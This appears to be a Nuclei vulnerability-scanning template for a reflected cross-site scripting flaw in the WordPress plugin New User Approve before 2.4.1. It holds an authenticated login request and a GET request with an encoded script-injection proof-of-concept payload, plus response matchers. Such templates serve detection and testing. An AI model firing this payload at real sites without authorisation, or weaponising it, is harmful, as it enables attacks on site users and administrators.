id: new-user-approve-xss info: name: WordPress New User Approve <2.4.1 - Cross-Site Scripting author: Akincibor severity: medium description: WordPress New User Approve 2.4.1 does not escape some URLs before outputting them back in attributes, leading to reflected cross-site scripting. reference: - https://wpscan.com/vulnerability/17f99601-f5c9-4300-9b4a-6d75fa7ab94a - https://wordpress.org/plugins/new-user-approve classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N cvss-score: 5.4 cwe-id: CWE-80 metadata: verified: true max-request: 2 tags: wordpress,xss,authenticated,wp-plugin,wpscan,wp http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Origin: {{RootURL}} Content-Type: application/x-www-form-urlencoded Cookie: wordpress_test_cookie=WP%20Cookie%20check log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 - | GET /wp-admin/index.php?a%22%3E%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: body words: - '?a">&new-user-approve-settings' - type: word part: header words: - text/html - type: status status: - 200 # digest: 4b0a004830460221008a5a2529577b09d4617e11dfe554c89ed74c92cbafeac72cc9fa4df8a33072520221009b1602b935bf8267a39aa8892e969d2d6b2b141fda2b50595a94d73f797e10ce:922c64590222798bb761d5b6d8e72950